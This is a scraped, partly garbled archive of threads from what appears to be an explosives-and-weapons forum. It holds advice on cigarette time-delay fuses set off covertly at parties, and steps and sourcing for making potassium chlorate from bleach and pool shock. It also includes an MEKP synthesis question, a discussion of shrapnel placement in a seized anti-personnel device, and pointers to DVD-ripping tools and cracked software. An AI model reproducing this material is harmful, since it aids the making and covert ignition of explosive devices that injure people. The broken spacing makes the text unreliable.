fragm entatio n, or the po-po's. ;)
nathan May 11th, 2006, 11:43 AM

Actually it seem s to m e that visco fuse would be easier to get than flares.
W here do you get them? I can see how the powder in them could be useful but since alm ost blowing my face off with a
hom emade fuse I've made it a goal to not use them.
corrosive May 19th, 2006, 04:19 AM

Let m e remind you I wrote this for peo ple that can't get ahold of visco fuse. In my area visco fuse is easy to get, but I know
there are people out there that don't have such luck.
You can get them anywhere, Walmart, hardware stores. Most likely place to find good ones is a boating or m arine store, get
s o m e orion waterproof ones.
Also, these fuses are failsafe, its impo ssible for them to go faster then you think, a 6 inche straw filled with the powder densely
packed in will go a long way.
Personally, I perfer them over anything in the 1 min to 3 m inute tim e, if your on the run or something like that. But if you want
remote ignition or long tim es, this isn't your fuse.
Now before I start, I realise th at this m ay well be one of the oldest tricks in the book, and equally, I can't vouch for it's
availability for some of the younger readers of the forum .
W h a t a b o u t t h e h u m ble cigarette? The y will go out in the rain, they won't burn under-water, they will absolutely light 3/32 visco,
and positioned correctly they are not particularly susceptable to the effects of wind from a constant direction.
Different brands and different strength s will burn at different speeds. In addition to this, they may be cut in half or in any other
proportion.
I have enjoyed this trick at pa rties for m any, m any years now. Simply
'go out to your car to get something', light cigarette, insert fuse through just above the filter, set d own and then return. In m y
experience you then have anywhere from 5-8 minutes until you can ask, along with everybody else, "what the fuck was that?"
In addition to this, they are sm a l l , d e p e n d a n t u p o n a g e - n o t h i n g t o n e e d h i d i n g , a n d a b o v e a l l e l s e , c h e a p a n d a v a i l a b l e

practically everywhere .
Now, they're not particularly high tech, but would you rather build a car, or for the sam e price, (and no work) buy a horse and
cart to go and pick up the milk? So to speak. ;) Personally, I prefer to put the spare tim e to extra mischief, er, work I mean .
Alexires May 23rd, 2006, 11:49 AM

Just a warnin g on the cigarette, don't use one you rolled yourself. They go out.
Use a tailor as they a re much harder to blow out.
Good idea th ough.
Bert May 23rd, 2006, 01:41 PM

Am erican Spirits with natural tobaco an d untreated cigarette papers burn on the order of 12 m inutes, com pared to a bout 4 or 5
m inutes for the m ajor U S brands.
nbk2000 May 23rd, 2006, 09:14 PM

I've used cigarettes before, and it's im portant that the cherry (hot em ber) be at the bottom , not the top.
If th e cigarette isn't hanging so that the heat o f the burning ember can rise upwards through the cigarette, it will sputter out.
Even horizontal, or inclined, is inadequ ate. Stra ight vertical is the only wa y to go.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Munitions Factory Explodes in
South Australia
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Down Under May 9th, 2006, 09:58 PM

I'm not sure which forum to post this in, so I'm putting it in the W ater Cooler, and leaving it to a Moderator's discretion.
Details are still sketchy, but on Tuesday, aroun d m idday ( CST ), a profe ssional munitions factory in the state of So uth
Australia went off with a boom , killing at least two people, and injuring two others, while a third is still m issing.
Details are currently available at http://news.ninem sn.com .au/article.aspx?id=99442

A so bering reminder to all budding would-be pyrotechnicians, of what can h a p p e n w h e n s o m ething goes wrong.
Even under ( presum ably ) strictly controlled conditions, "shit happens".
W hile the article doesn't show much in the way of pictures, the story on last night's National T.V. News showed video coverage
of the sight by helicopter, and Dam n!
Talk a b o u t a s h i t l o a d o f e n e r g y b e i n g r e l e a s e d .
W hile I'm sure the work would be interesting, I can't think how m uch they'd have to pay m e to work in such a place.

*grin* It could haver been a bigger "dam n" as the article says - "Authorities will secure the site, and rem ove 300kg of TNT."
*lau gh* Holy balls, if that baby had gone off, I'm pretty sure that I would have known about the explosion before the news did
*grin*.
Then again, it is fairly rem arkable. 2 p eople dead, 2 wo u n d e d a n d o n e p robably dead. 5 casualties at a place where they store
3 0 0 k g o f T N T a n d g o d k n o w s w h a t e l s e i s d a m n good I think. However that place is built, its built exceedingly well for its
purpose.
M a y b e s o m e o n e o n t h e f o r u m with a d ecent am o u n t o f m o n e y m a y b u i l d t h e i r l a b i n t h e s a m e c o n f i g u r a t i o n ?
wetpowder May 11th, 2006, 06:09 PM

The missing person they may never find. Never find "all" of him I m e a n .
shady mutha May 11th, 2006, 08:00 PM

T h a t s t h e s e c o n d e x p l o s i o n i n SA this week. So m e n i c e f o o t a g e c o m ing in from that blast....O ne worker is still m issing, they
say chances of finding his body are slim .
USE
S o m e fool killed him self while trying to burn do wn his cafe this week also . T h i s g u y s p r e a d f u e l a l l a r o u n d h i s s h o p t h e n
believe it or not flicked his lighter on! They found his body still with said lighter in hand. Nice explo sion, took out the front and
rear walls and sent all the tables and chairs flying into other businesses.
PARAGR APHS
And to top it off a hig h school teacher got busted with 50KG of Powergel and 4 build bomb s with nails and razors in it. They
news showed a couple of his devices. One was a plasitic drum filled with white powder and about 20 nails spread evenly through
it. The other one was a cardboard box lined with butane canisters and all wired up but no m ain cha rge.

The best bit about the guy with 53Kg Powergell was, "that the devices were planned for use as pyrotechnical effects in a m ovie"
W TF? W as he for real or what? W h o , b u t s o m ebody of a simliarly screwed m ental state is going to believe that? As we all know,
a 20kg device (the size of the first one located) is a rather large BlackPowder device, but High Explosives?!?
But for him to expect us to be lieve tha t the one containing nails and razor blades was also "for special effects" mak es him
rather, er, SPECIAL.
The worst thing about it was he looked as norm al and b oring, white and aussie as everybody else in the street. The m ost
exciting thing was the (15yr old) sports car in the driveway.
fiknet May 12th, 2006, 10:12 PM

S o m e fool killed him self while trying to burn do wn his cafe this week also . T h i s g u y s p r e a d f u e l a l l a r o u n d h i s s h o p t h e n
believe it or not flicked his lighter on! They found his body still with said lighter in hand. Nice explo sion, took out the front and
rear walls and sent all the tables and chairs flying into other businesses.
W ow it must of been a powerful blast.
http://www.bloggernews.net/2006/05/munitions-factory-explodes.htm l
This link says "The explosion levelled everything within 100 m etres and could be heard from 7 0 k m away." does anyone know
how much explosive detonated?
Also I'm dissapointed that what that teacher did happened in Au stralia because I think they are also talking of tightening
security for chem ical precursors aswell as explosives and this incident couldn't have com e at a worse tim e for m e a s I a m
ordering precursors for nitrations. :(
++++++++
Quoting entire posts is highly annoying and liable to get you banned.
Don't do it again.
NBK

Yeah, the radio news said he had "enough explosives to level five city blocks".
S o m eones getting a little carried away there....
I've handled powerge l, its a watergel e xplosive, the type I handled was about as firm as plasticene, it does vary though, the re
are m any types of po wergel, it can com e in sticks or bulk packages.

I was just reading an independent Ade laide paper about the munitions factory explosion and it has an interview with one of the
survivors who said that he was underneath a large block of TNT and the heat was melting it onto him as he waited for rescue
(sounds like a car cra sh I was in - the skid m arks were al least three inches long).
USE PARAGRAPH BREAKS
Also the guy with the powergel had no idea how to m ake an anti-personnel device. I saw pictures of one of his creations and
i n s t e a d o f t h e s h r a p n el surrounding the charge the bits and pieces appeared to b e close to the centre of th e charge . There
m ay be a tech reason for this but it didn't make sense to m e s o if anyone knows why you would em b e d t h e s h r a p n e l i n s i d e t h e
e x p l o s i v e m aterial rather than surrounding it please let me know.
inventorgp June 21st, 2006, 11:02 AM

About that guy with 53kg's of powergel.
He live relatively down the roa d from m e .

T o m a k e h i s d e t o n a t o r s h e w e n t t o m y local electronics store - Jaycar, and
bought the jacobs ladder ignition coil kit.
How did I find this out? W ell it all started at the hardware store getting parts
f o r m y p n e u m atic .68 cal rifle. While I was there I caught up with a guy I knew-
the m anager of Jaycar.
H e ( C r a z y m a n ) w a s a l s o i n q u iring about rem o t e " i g n i t i o n s y s t e m " m a d e f r o m rem ote

control cars. If you didn't see it on TV, he alrea dy m a d e s o m e sort of
b u t a n e b o m b and cru de claym ores.
As Sungod said, he obviously didn't know what he was doing.
Jacks Complete June 21st, 2006, 11:59 AM

Don't know why he would mix the nails into the explosives. Very wierd. Liable to cause issues, too, as the charge wo uld likely
start to react with the metal.
I wonder what his plan was? Nuke the school? Noisy neighbour?
Bert June 21st, 2006, 12:20 PM

I ' v e s e e n a c a r b o m b m ade by French terrorists (OAS) that had shrapnel balls m ixed into the explosive filling. Those guys were
m ostly ex military and were very good at blowing stuff up- But I don't thing this O zzie fruitcake knew what the hell he was
doin g, fortun ately.
inventorgp June 21st, 2006, 12:39 PM

Apparently he liked Nazi m e m orabilia. He threatened th e g o v e r n m e n t
with a holy war attack. And about a year ago some nut prank called
the cops that there'd be three bom bs set off in Brisbane city.
neo-crossbow June 22nd, 2006, 10:52 AM

I'm Sure that the teacher in Brisbane will get a fair trial.... not.
H e u s e d t o b e head of the Brisneyland airport or exec there, I was workedthere years ago. He seem ed quite normal then. But
who can tell.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > O ffer to you: Bruker IR
Introduction
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View Full Version : Offer to you: Bruker IR Introduction
braegler May 10th, 2006, 02:59 AM

Hi,
because its my first P ost, i want to offer you a program that is called
"Bruker IR Introduction" (in german : Bruker IR Einfhrung).
Its about 36MB (pack e d ) , h o s t e d o n r a p i d s h a r e .
I hope some one could need something like this.
English version:
http://rapidshare.de/files/200 43274/IR_Introduction.rar.html
german version:
http://rapidshare.de/files/200 26714/IR_Einfuehrung.rar.html
No password needed.
Greets
braegler
...sorry for m y really bad english

Thank you for the program . T h i s i s a g o o d e x p l a n a t i o n o f I R spectroscopy, certainly m o r e c o m p r e h e n s i v e t h a n a n y
undergraduate text I have seen. There is a lot of physics to this program , but thats what spectroscopy is.
T h e p r o g r a m does not require installation, just run the exe. It is rather like a flash app.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Boric to Nitric?
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View Full Version : Boric to Nitric?
nathan May 11th, 2006, 12:01 PM

I have heard that an easy way to get nitric acid is to just dissolve kno3 in boric acid. Although I can see how this might work, it seems too good to be true. Even if it does
work, would it give you a satisfactorily strong acid, or would it be a mixture containing like .5% nitric acid?
Even if the nitric acid was about 40%, would the procedure even be worth doing?
Also I am wondering what the minimal concentration of nitric acid is for oxidation. Not the recommended amount of concentration, but the percentage below which the
oxidation will fail.

As with most things seeming too good to be true, they often are.
I severly doubt that H3BO3 + KNO3 is going to give you HNO3.
Here (http://www.ucc.ie/academic/chem/dolchem/html/comp/nitric.html) it says that " Boron, B, is oxidised by Nitric Acid, HNO3, to Boric Acid, H3BO3."
That is most likely true, and even if it isn't, you would probably have to distill off the HNO3 from Boric Acid + KNO3 in much the same way as you would have to with the
H2SO4 method.
Sorry to burst your bubble, and I have no idea what % the HNO3 has to be to oxidise something, but I don't think that it matters. Any amount would oxidise something, unless
the reaction relied upon HNO3 being around later in the mechanism.

You're right, after testing this I found that the boric acid didnt really do anything to the kno3. When I added the mixture to ammonia and evaporated it all I got was
some kno3 with a tint of ammonia.
This could be my acid but I severely doubt it would work anyway.
About the percentage of HNO3 needed to oxidize sorry I was a bit confused. I know now that you can oxidize with any amount of nitric (as you said), but the more
water the less yield until the yield is not worth
the procedure.

Thats cool, I understand now. I have no idea what the "threshhold" concentration (I'm going to pretend that is the right word) is for nitrating or oxidising things are, but your
best bet for nitric acid would be to buy some H2SO4 and some KNO3 and try and distill it off.
For some things you can just use a nitrating mix of KNO3 and H2SO4 instead of nitric, although if you read the forum you probably know this already.
And remember children, be careful not to nitrate yourself like this (http://www.amc-cambodia.com/charity.html).

Ouch. That looks painful. I'm surprised the guy is still alive. :eek:
Yes, I read "Home workshop explosives". I think you can use kno3 for most of the nitric esters.
Now thats something you don't want posted on a crap book.
Imagine a bunch of kewl bombers runing around with nitroglycerine...
+++++++
It's KNO3, people. KNO3 is acceptable as well.
'kno3' looks like k3wL spelling for 'know'. Very unacceptable.

Does anyone find it unfair these third world countries have sufficient nitric acid to just throw around like it was water? Sure they dont have actual water to drink, but they are
swimming with forbidden wealth. Rather like the Fremen, they have vast spice riches that the Imperium would (and does) kill for, but little of the most basic necessities like
water.
nbk2000 May 20th, 2006, 12:41 AM

Ironic that the countries with the least restrictions to chemicals are the ones that are the least literate.
But you don't have to restrict chemicals when your population is too illiterate to know how to do anything more dangerous then scarring people with them.
Alexires May 23rd, 2006, 11:56 AM

A little OT, but damn I wish one of the forum members was in a position to *cough* protect the ignorant of the third world countries by removing their Nitric Acid from them
and returning it to a place where it will be cherished with loving care, and not splashed about like fucking water.
*dreams about boatloads of nitric acid arriving just for my extended chemistry pleasure*
Mega, are you making a reference to Dark Reign?
nathan May 23rd, 2006, 06:02 PM

Yea, I was just thinking the same thing although I wouldn't want to get caught shipping Nitric acid.
Maybe I ll go move to Cambodia.
Actually, I think Mega was referring to Frank Herbert's "Dune" books.

*wince* Ahhh. Yeah. Don't I feel like an infidel heathen. Sorry about that, Dark Reign is alot like Dune (or what I've heard from it, haven't read it).
To do a check on whether a certain reaction will take place, one could look at the kpa value of the reactants and the products couldn't one?
I'm pretty sure thats what kpa values are used for. If I'm correct, maybe it would be prudent to do a small section somewhere in regards to common reactions and kpa values?
Hopefully that would limit the amount of "would this work?" questions.
I'd be happy to post about the kpa thing if those more knowledgable than I say I should.
No offence intended nathan, I hadn't even considered it till you posted about it.
sprocket May 24th, 2006, 11:46 AM

I guess that by kpa you mean pKa, the acid-ionization constant. It tells you to what extent an acid will ionize. Boric acid has a pKa of 9.24 which makes it about as strong as
the ammonium ion (pKa 9.25). The pH of a saturated boric acid solution at 25C is about 4.6, so that's not going to make a lot of nitric acid.
nathan May 24th, 2006, 06:50 PM

I pretty much knew it wouldnt work but I couldnt leave the idea alone
seeing as boric acid is so easy to get.
Its a good thing I posted this in the water cooler otherwise NBK would have
had me for lunch. :eek:
I'm doing some research on the pka thing, have mercy, Im just learning.
By the way, are abbreviations such as lol. or jk allowed in this forum?

Or are they considered perversion of the English language?
++++
If I'm hungry, I'll eat anyone, anywhere. :)
n00bs need to tread very lightly with abbreviatons like LOL and such, until they've established themselves. Otherwise I might think you're an IM idiot and ban you just because.

Damn it. Yes, I mean pKa. Been filling up my tires too much.
Can't you simply find the pKa value for one side of the equation, and the otherside, then if the product acid has a greater value (I think) then it won't happen. Thats how I
understood it to work...
sprocket May 26th, 2006, 12:20 PM

Can't you simply find the pKa value for one side of the equation, and the otherside, then if the product acid has a greater value (I think) then it won't happen. Thats how I
understood it to work...That would be the case if these were irreversible reactions. However acid-base reactions are equilibria. This means that in your solution you will have
several different species and to get your precious nitric acid a method of separation is required.
Distilling the nitric acid out of an aqueous solution requires high concentrations of HNO3 in solution or you'll be distilling mostly water. That means low pH, something boric acid
won't provide. To make matters worse, removing HNO3 from the solution will raise the pH so that even less nitric acid distills over. That is, of course, unless the potassium
borate precipitates.
Now, what we've failed to mention is that boric acid is actually a crystalline solid. Could heating the boric acid and potassium nitrate salts give nitric acid then? No, boric acid
doesn't work like normal acids. Boric acid is acidic because it reacts with water or hydroxide ions forming B(OH)4-. Therefore water is required for the reaction, which means
we're back to square one.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > editing po sts...
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View Full Version : editing posts...
LostGunner May 11th, 2006, 07:15 PM

I'm trying no t to incur the wrath of anyone but editing m y initial post to reflect further thoughts (as opposed to replying to
m yself), but for the life of me, I can't figure ou t how to edit m y posts. I can quick-reply, jum p to the posts of people I reply to,
attem pt (without sufficient access) to view my own profile but not edit m y post. Any help is appreciated.
nbk2000 May 11th, 2006, 07:23 PM

n00b's don't get to edit their own posts till they've gotten m ore than 10 approved posts.
This gives staff a chance to see what you post without you being able to change it before we see your m i s t a k e s .
If you get it right the first tim e, you wouldn't need to edit. :p

C o m pletely off topic, but nice avatar NBK. Inspires fear into the hearts of even the most sturdy and steadfast of m arines, let
a l o n e n00bs and k3wls.
Now I know why I couldn't view m y CP a while back.
A n d h e r e i s m e t h i n k i n g I ' m a complete idiot.
Oh, wait. I am . *grin*

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Ripping copy-protected DVDs
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View Full Version : Ripping copy-protected DVDs
akinrog May 18th, 2006, 05:42 AM

Dear Friends,
SWIM searched our old pal google but all SWIM gets is sharewares which are trying to rip SWIM, without actually using the applications.
SWIM has purchased a DVD for SWIM's small kid, but since the SWIM's kid is small he shall surely ruin it. So SWIM cannot give it to him for playing. For this reason SWIM is
trying to convert DVD into DivX VCD / or DVD. But DVD is copy protected, so ordinary copying software does not work.
So anybody knows a free DVD ripper which is capable of ripping the copy protected DVDs. Regards.
aikon May 18th, 2006, 07:08 AM

SWIM should try DVD-Shrink!!!
http://www.dvdshrink.org/
Hobbit Porn May 18th, 2006, 07:11 AM

I use DVDshrink to make backups of my DVDs, I think it is able to deal with copyright protection.
However, my backups are all DVDs, not VCD's or Divx, so I'm not sure if this is what you are looking for, but I'm assuming a glance over their website will answer that question
for you. http://www.dvdshrink.org/
EDIT : Aikon's post came up in between the time of me reading the thread and posting my response, Mods, please delete this post as it's kind of redundant now.
tmp May 18th, 2006, 04:06 PM

http://www.afterdawn.com/software/video_software/dvd_rippers/dvd_decrypter.cfm
There will be no more upgrades for this software as the author has been threatened
by the DVD ripoff industry.
nbk2000 May 18th, 2006, 05:40 PM

Ah...DVDshrink...that's the program I use, but I couldn't remember the name.
It works for almost every movie DVD I've put it to. The most recent exception, though, was 'Lord of War' (with Nicholes Cage). It didn't even exist as far as DVDshrink was
concerned, since it didn't show it being in the drive. :confused:
Of course, no matter how much the bastards try blocking people from doing what they want with what they paid for, someone always finds a way around their DRM attempts.
:p
One thing I've noticed about DVDshrink is that, in order to keep the video editable in Premier, you need to set the video for 'No compression'. Otherwise, it's uneditable, at least
on my machine.

SWIM hails you all for the help.
And this DVD Shrink app seems to be working like a charm. The solutions SWIM has found was struggling a lot and ripping was taking several hours :). Regards
controlphreak May 30th, 2006, 08:04 PM

Glad you found that. On a related note however, since I know people do this, we will all download our favorite TV show or movie pre-release (checks on the status of X-Men 3
release by ZN 87%) and have the problem of just watching it on our computer. Well, there is another way.
There is a program called ConvertXtoDVD created by VSO, the same company that makes BlindWrite. This program will take any input file I have tried (XVID for the most part)
and convert them seemlessly into DVD folders and Chapters that can also be burned in program.
It's definately worth getting if you download pre-releases or are just trying to archive your favorite TV Show. You can find it on Soft-Best.net along with its crack.

For those that don't venture into the land of Microsoft, you can rip the DVDs with MacTheRipper (search versiontracker.com) and shrink them with DVD2OneX.
MacTheRipper has been updated to counter the copy protection that was installed not long ago that prevents some of the older programs (can't remember the names) from
ripping newer DVDs.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Defcon 14
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View Full Version : Defcon 14
zeocrash May 18th, 2006, 05:25 PM

Ok this year I'm traveling abo ut the place.
O n e o f m y stops will be in vegas for Defcon 14.
Now before I get on to the m ain point of this post let me just say that defcon appears to be full of inform ation that may prove
useful to people in our line of interest, and I will be recording as m a n y s e m inars etc. as i can.
Now on to the main part of m y post.

Each year at defcon there are several competitions run buy contributors.
Click here (http://defcon.org/html/defcon-14/dc-14-contests.htm l) for a list of the contests.
One contest in particular which interested m e, and m ay be of interest to people in this forum is the lost @ con m ystery box
challenge.
Details of the challenge can be found here (http://lostboy.net/DC 14_m ystery_box/)
I f e e l t h a t d u e t o t h e s e c r e t i v e n a t u r e o f o u r h o b b y , i s h o u l d a s k t h e a d m i n s ( m e ga and NBK) for the OK before i suggest

putting together a team for th is challenge. If it is alright with them thoug h I suggest that we put together a team to do this
challenge.
I'll post more after i get adm in approval
nbk2000 May 18th, 2006, 11:01 PM

Anyone who wants to go can g o, but re m e m ber that you'll have to expose yourself to an enviroment that's KNOWN to have LE
and Feds there, all th e while identifying yourself as a mem ber of a 'BO MB' forum .
Don't be surprised if you get a knock on your h otel room door...

That's why they play "Spot the Fed" every year:) Now that sounds like a fun gam e...
Considering what type of people the feds think are there, I would say being a BoMbEr is no worse or better than a HaXoR. You
would be just one mo re door of oh so m any to knock on. Oh, and there are evil lockpickers too!
nbk2000 May 20th, 2006, 12:38 AM

Hackers and lockpickers don't make devices that physically destroy people and property.
No matter how 3LL+3 a H@x0R thinks he his, h e can't k ill you by deleting your credit histo ry. :)
A 'device' can 'delete' a persons body into pink m ist. :D
simply RED May 20th, 2006, 09:31 AM

If th ere is not a bom b m a k i n g c o n t e s t - s h o u l d it be publicly known that the
taking-part-team is a s s e m b l e d h e r e ?
zeocrash May 21st, 20 06, 09:0 7 PM

Obviously we would not advertise ourselves as anything to do with roguesci at the convention, we would just be another group
of enthusiasts trying out to do the challenge.
Anyway anyone who's interested, drop me a pm .
O n a n o t h e r n o t e , 2 m ore challenges that i don't have the skills/tim e to do, but m a y b e o f i n t e r e s t t o s o m e m e m b e r s o f t h e

forum .
Defconbots (http://defconbots.org/rules.php)
and on the less serious side of things
T h e b e v e r a g e c o o l i n g contraption contest (http://defcon.org/htm l/defcon-14/dc-14-bccc.html)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > homemade drying oven
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View Full Version : homemade drying oven
DeathBlade May 21st, 2006, 01:45 AM

Well hello, I have been having problem recently with some of my devices and one of my friends though it might have been the devise was still had some moisture in it.
I thought of use in my oven in my apartment. But then I thought its a Natural gas oven and it might cause the composition to ignite not a good thing, so I searched all over
google today to see if anyone had made a electric drying rack/oven. So any ideas how I should start?
Thanks
Chopper May 21st, 2006, 06:16 AM

Try a search for a dessicator.
One may be made with a large plastic container and it's lid. Inside one places Calcium Chloride, covering the bottom to a depth of an inch or so.
Following that, simply place the item/substance you wish to dry into a glass jar/plastic container. Then place this second container inside the first, close the lid of the first
container and away you go. Slower than drying by heating, faster than re-growing facial features &/or fingers :)
You would then use the oven in your apartment for re-drying the Calcium Chloride after each dessication cycle.
tomu May 21st, 2006, 07:52 AM

Look at http://geocities.com/mini_bielecki/drying_box.htm
Btw. do you know what google is? Learn how to use it!
DeathBlade May 21st, 2006, 01:24 PM

When I searched I found that, and it isn't quite what I meant. that is a box with a fan. I am talking about an actual heated oven or rack. I was thinking about using a hairdrier.
I'm still not sure what to insulate it with though.
+++++
Your spelling and grammar are atrocious. Improve RAPIDLY or be banned.
NBK
tomu May 21st, 2006, 06:39 PM

A drying box or what you like to call 'oven' is just an insulated box with heat source and most of the time with a fan.
For low temps below 50 C styrofoam is a suitable insulating material above that temp. go with glass wool.
You can use a hairdryer for heating, I would use some of these small hot air blowers used for heating small rooms. Some use just a light bulp as heat source.
Be careful not to overheat the box or to dry materials to quickly. If stars for example are dried to hot they may be well dried on the outside but still have a moist core.
DeathBlade May 22nd, 2006, 08:26 PM

Well yesterday I was at a estate sale and bought a small kiln, (though the nichrome elements were removed) and a small ancient "heatgun". I was able to attach the heatgun
to the top of the unit where a section of the asbestos was cut out. I've had it running for the last 30 minutes and the interior temp it holding around 186* F.
Though I think that might be a bit to hot, so I will take apart the heat gun and check the wiring and see if I can wire in a potentiometers to adjust the the temperature and fan
speed.
meselfs May 22nd, 2006, 10:48 PM

Consider purchasing one of those small toaster ovens, eg:
http://isuzu2k.tripod.com/garage/pics_-_14.jpg
(Google image search).
The sun works very, very well for drying; when it's not available a toaster oven is priceless. I like to hold whatever I'm heating in an oil bath if possible, to dampen out the
temperature fluctuations and since it'll start boiling if the situation gets too hot.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Hazards o f Bleach > Chlora te?
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View Full Version : Hazards of Bleach > Chlorate?
MetalHead May 23rd, 2006, 05:59 AM

After searching the fo rum it is easy to find information on obtaining potassium ch lorate from dom estic blea ch, but I would like
m ore inform a t i o n o n t h e h a z a rds involved in th is process. Is it g enerally necessary to wear a respirator?
I h a v e r e a d t h a t d o m estic bleach will release HCl gas (and chlorine) when it decom poses upon heating. Is this only true when
there are certain contam inants present, or does it occur beyond a certain temperature?
I've been told that you shouldn't let bleach actually reach boiling point (which I gather is close to 1 00 degress celciu s). Is this
true, or can you rapid ly boil it down as fast as you like?
tmp May 24th, 2006, 12:07 AM

MetalHead, I've never known bleach to release HCl upon boiling. Som e chlorine is
r e l e a s e d b u t i f y o u h a v e a d e q uate ventilation this shouldn't be a problem. I've
u s e d t h e b l e a c h b o i l - d o w n m e thod although I prefer electrolysis of chlorides.
After all the hypochlorite decom poses to chlorate, you shouldn't notice th e bleach
s m e ll(chlorine) any m ore. BTW, you have to boil the bleach to get the volum e o f
the liquid down to at 1/7th or less of your original volum e .
3 N a O C l ---> NaClO3 + 2NaCl

NaClO3 + KC l ---> KC lO3 + NaCl
aikon May 24th, 2006, 02:21 AM

Have a look at http://www.frogfot.com /synthesis/chloratetherm.htm l
Frog fot gives sim ple and easy to follow step by step instructions on how to
m a k e P o t a s s i u m Cho rate out of bleach.
Don't miss the link on the bottom of his page, ah here it is:
http://www.wfvisser.dds.nl/EN/chlorate_EN.html
I n s o m e countries it's really difficult to find Potassium C hlorate. Whatever route you take, the bleach m ethod is the route wich
gives you the poorest yield.
Try the conversion of Sodium C hlorate with the help of Potassium Chloride. That one is better.
Edit: I made a m istake. Corre cted the error.
tomu May 24th, 2006, 08:51 PM

You will get much better results if you use hypochlorite solution or powder for swimm ing pool water treatment which you can get
as HTH brand from swim m i n g p o o l s u p p l i e s .
H o u s e h o l d b l e a c h h a s u s u a l l y h y p o c h o rite concentration below 5% so you get meager yields. The swim m i n g p o o l s t u f f h a s a

m uch higher hypochlorite content.
tmp May 25th, 2006, 04:09 AM

A g r e e d , C a ( O C l ) 2 i s m uch better. This is due to the fact that it can be had in solid
form . P o t a s s i u m a n d s o d i u m hypochlorites exist in aqueous solutions on ly. Many
popular pool bleaches use C3Cl3N3O3, or trichloroisocyanuric acid. You want
calcium hypo chlorite which is conveniently sold in 1 LB bags as pool shock. O n m y
last trip to W alm art they had plenty in stock. Check the ingredients on the bag or
container for the hypochlorite and compare brands if possible for the highest am ount
of available chlorine.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W hat happens??
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W hat exactly happens when MEKP m a n u f a c t u r e t e m p r i s e s a b o v e 1 0 * C ? I w a s m aking another batch of it just now, when I
accidentally dum p e d t o o m uch HCl into the reaction, the tem p spiked to around 23 degrees. I have it cooling in the freezer
now, it has seperated into two layers, an MEK coloured layer on top, and a cloudy opaque one on the bottom . From what I have
read, it will form a m ore unstable form of MEKP . But the re is som e conflicting info to this.
Thanks
Red Beret.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Yowie/Bigfoot hunt
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H a s a n y o n e m a d e a s e r i o u s a ttempt a t hunting these creatures? I'm sick to fuck of hearing these "professional yowie hunters"
say, "Oh yea h we saw one but the cam era was broken", or som e other bulshit. I want to bag one, give it a gut full of hot
l e a d .;)
I a m plannin g a trip with my rifle, video camera and som e o t h e r g e a r s o o n . D o e s a n y o n e h a v e a n y s t o r i e s r e l a t i n g t o t h e s e

c r e a t u r e s ? T h e r e s e e m s to be alot of yowie activity in one particular area of m y state so I guess it will be that area. If I cant
t a k e m y rifle I m ight take a bow, I would like to take some big ass frags too. Or a super soaker full of acrolein.:D
So tell me, what would you take, do you think they exist, and do you have any ta les to tell?
PS, m y rifle is a reliable .303 (plenty o f power) bolt action Lee Enfield with a 10 round m ag and 1-4 power scope.
Bert May 25th, 2006, 11:36 AM

I think you m i g h t m e a n Y E T I ?
If you can't spell it, should you really shoot it?
Skean Dhu May 25th, 2006, 01:58 PM

Nope, Yowie is a legit nam e for them. Albeit thats the Aussie version it also goes by: Bigfoot, Sasquatch, Yeti, m o u n t a i n m a n ,
A b o m inable snowm an, you ge t the idea.
The history channel h a s a s p e cial on bigfoot that airs probably o nce a m o n t h o r s o , m o s t l y l a t e n i g h t / w e e k e n d s . T h e r e h a s

been substantial effort put into locating one in the cascade mountains and the ca nadian rockies. However I don't think m o s t
people are trying to kill one.
Personally, if I were hunting such a beast I would go for som ething m ore substan t i a l t h a n a . 3 0 3 . P e r h a p s a . 3 3 8 l a p u a , 1 2 g a
slugs or any gun that will reliably take grizzly and polar bears.
First you're m ore likely to find a large bear than you are a bigfoot, secon d the bigfoot is com parab le in size with a grizzly and
you don't want to just piss it o ff when you shoot it, do you?
edit:corrected the caliber misspell. Thanks Bert.
Bert May 25th, 2006, 05:20 PM

Do they also spell "Lapua" differently?
nbk2000 May 25th, 2006, 05:54 PM

I t ' s a k n o w n h o a x , s a m e a s t h e L o c N e s s m onster. :rolleyes:

It m ight well be a hoax, or it's hyperactive im agination (or lack of).
Having said that, they recently found a new species of deer in Viet Nam (coom b s . a n u . e d u . a u / ~ v e r n / s p e c i e s . h t m l), which you
really would not think possible after thousands of troops bombed, shot a n d t r e k k e d a l l o v e r o n b o t h s i d e s s o m e 3 0 y e a r s a g o .
Your .303 should do you proud, just m a k e s u r e t h a t y o u u s e a d e c e n t b r a n d e d e x p a n d i n g am mo. We don't want any underkill
or needless shoot-through on this foru m !
kaiserbill May 26th, 2006, 06:03 AM

In May 2005, a new species of prim a t e w a s d i s c o v e r e d i n t h e h i g h l a n d m o u n t a i n s o f T a n z a n i a . T h e ' H i g h l a n d M a n g a b e y ' w a s
the first prim ate discovered in Africa since 1984. Its home range i s a m e r e 2 8 s q u a r e m i l e s . ( 7 3 k m 2)
I n J u n e 2 0 0 2 , a h o u s e c a t s i z e d p r i m a te, now called the Titi Monkey, was discovered in the vast forested region of the central
Am a z o n .
I guess that from the se reports we can assum e two thin gs: Whilst we are still discovering new types of prim ate, they tend to be
s m a ll and highly localised. The other assum ption would be that they would need to be in a relative ly unexp lored region. Tha t
really only leaves the Am a z o n .
I would therefore dou bt the existence of a 2 metre tall Yeti, Bigfoot or Sasquatch. Certainly a Loch Ness type hoax.
Red Beret, which m o d e l 3 0 3 d o y o u h a ve? I used to have a lovely 1918 MkIII with the original woo den furniture right up to the
bayonet lug. It was com pletely original right down to the brass shoulder stock plate.
W e'd have lots of fun shooting bricks at 100 metres. The energy in the .303 roun d was incredible. Turned those bricks into
dust. If you do go Yeti hunting, you have the right equipm ent!
Red Beret June 3rd, 2006, 01:18 AM

I have a No4 Mk1 303, all original except the b o l t a n d m a g . M a d e i n 1 9 4 3 . H a s a 1-4 power scope with QD mounts. Good
condition, m y fav gun ATM.:cool:

The No4 is a good rifle, right out to 1000 yards, and 1200 with g o o d a m mo (generally the 7.62 NATO is better at these
extrem e r a n g e s , t h o u g h )
